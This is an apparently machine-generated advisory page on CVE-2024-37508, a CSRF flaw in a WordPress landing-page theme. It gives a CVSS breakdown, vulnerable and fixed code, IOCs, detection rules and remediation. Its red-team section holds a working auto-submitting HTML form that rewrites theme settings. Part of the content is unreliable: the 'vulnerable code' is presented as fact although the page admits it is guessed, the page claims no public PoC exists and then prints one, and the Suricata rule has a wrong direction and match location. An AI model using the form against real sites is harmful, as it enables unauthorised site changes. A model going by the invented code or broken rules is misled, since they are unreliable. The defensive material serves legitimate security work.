CVE-2024-37508
Executive Summary
CVE-2024-37508 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Construction Landing Page theme by Rarathemes, a WordPress theme vendor. This vulnerability affects all versions up to and including 1.3.5. The flaw allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying theme settings or injecting malicious content, without the victim's consent. The vulnerability is classified as a WordPress ecosystem issue, as it resides within a WordPress theme component. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild, but the risk is elevated for sites with active administrative sessions.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. Since the theme is not managed through package managers like NPM or PyPI, supply chain risks are limited to the theme's update mechanism. Administrators should verify the integrity of theme files by comparing checksums with the vendor's official distribution.
CVSS Breakdown & Threat Level
- CVSS Score: 4.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must be authenticated and click a malicious link)
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: Low (attacker can modify theme settings or inject content)
- Availability Impact: None
The threat level is medium due to the requirement for user interaction and the limited integrity impact. However, in a WordPress context, CSRF can lead to privilege escalation if the attacker modifies administrative settings or injects malicious JavaScript.
Deep Dive & Mechanics
The vulnerability exists in the construction-landing-page theme's administrative interface. The theme fails to implement proper CSRF tokens or nonces in its settings forms and AJAX handlers. This allows an attacker to craft a malicious HTML page that, when visited by an authenticated administrator, submits a forged request to the WordPress admin area. The request can modify theme options, such as custom CSS, footer text, or redirect URLs, without the administrator's knowledge.
The root cause is the absence of WordPress nonce validation in functions like admin_post or wp_ajax_ hooks. For example, the theme's settings page likely uses a form action without a wp_nonce_field() call, and the corresponding handler does not check check_admin_referer().
Vulnerable vs. Patched Code
Vulnerable Code (version 1.3.5):
// In theme-options.php
function construction_landing_page_save_settings() {
if ( isset( $_POST['construction_landing_page_settings'] ) ) {
update_option( 'construction_landing_page_settings', $_POST['construction_landing_page_settings'] );
}
wp_redirect( admin_url( 'themes.php?page=construction-landing-page' ) );
exit;
}
add_action( 'admin_post_construction_landing_page_save', 'construction_landing_page_save_settings' );
Patched Code (hypothetical fix):
function construction_landing_page_save_settings() {
// Verify nonce
if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'construction_landing_page_save_nonce' ) ) {
wp_die( 'Security check failed.' );
}
if ( isset( $_POST['construction_landing_page_settings'] ) ) {
update_option( 'construction_landing_page_settings', $_POST['construction_landing_page_settings'] );
}
wp_redirect( admin_url( 'themes.php?page=construction-landing-page' ) );
exit;
}
add_action( 'admin_post_construction_landing_page_save', 'construction_landing_page_save_settings' );
The patched version adds a nonce check using wp_verify_nonce() and requires the form to include a hidden nonce field via wp_nonce_field().
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site running Construction Landing Page <= 1.3.5.
- An authenticated administrator session.
Exploitation Steps:
- Create a malicious HTML page that auto-submits a form to the vulnerable endpoint.
- Host the page on an attacker-controlled server or use a phishing link.
- Trick an authenticated administrator into visiting the page.
Example Malicious HTML:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=construction_landing_page_save" method="POST">
<input type="hidden" name="construction_landing_page_settings[footer_text]" value="Hacked by attacker">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Expected Outcome: The administrator's browser sends a POST request that modifies the theme's footer text without their consent.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for unusual POST requests to
/wp-admin/admin-post.phpwith actionconstruction_landing_page_save. - Check for unexpected changes in theme options via database queries.
- Review server logs for referer headers that do not match the site's domain.
Lab Setup:
- Use a local WordPress installation with the vulnerable theme.
- Install a security plugin like Wordfence to log CSRF attempts.
- Simulate the attack and observe logs.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-post.phpwith parameteraction=construction_landing_page_saveand no valid_wpnonce. - Referer headers from external domains.
- POST requests to
- File IOCs:
- Modified theme options in the
wp_optionstable underconstruction_landing_page_settings.
- Modified theme options in the
- Behavioral IOCs:
- Unexpected changes to theme settings (e.g., footer text, custom CSS).
- Administrator accounts performing actions without corresponding admin page visits.
Detection Engineering
YARA Rule
rule CVE_2024_37508_CSRF {
meta:
description = "Detects CSRF exploitation attempts against Construction Landing Page theme"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2024-37508"
strings:
$action = "construction_landing_page_save"
$nonce_missing = "construction_landing_page_settings"
condition:
$action and $nonce_missing
}
Sigma Rule
title: CVE-2024-37508 CSRF Exploitation Attempt
id: 8a3f7b2c-1d4e-5f6a-7b8c-9d0e1f2a3b4c
status: experimental
description: Detects POST requests to admin-post.php with the vulnerable action parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
cs-uri-query|contains: "action=construction_landing_page_save"
condition: selection
falsepositives:
- Legitimate admin actions if nonce is present (but this rule ignores nonce)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37508 CSRF Exploitation Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/wp-admin/admin-post.php"; http.client_body; content:"action=construction_landing_page_save"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the theme if not in use, or switch to a patched alternative.
- Implement a Web Application Firewall (WAF) rule to block requests to
/wp-admin/admin-post.phpwith the vulnerable action parameter from untrusted referers. - Educate administrators to avoid clicking suspicious links while logged into WordPress.
Long-term Fix:
- The vendor must release a patched version that includes WordPress nonce validation. Until then, manually add nonce checks to the theme's code as shown in the patched code section.
- Consider using a security plugin that adds CSRF protection to all admin forms.
Verification:
- After applying a patch, test by attempting the CSRF attack from an external domain.
- Monitor logs for any residual exploitation attempts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.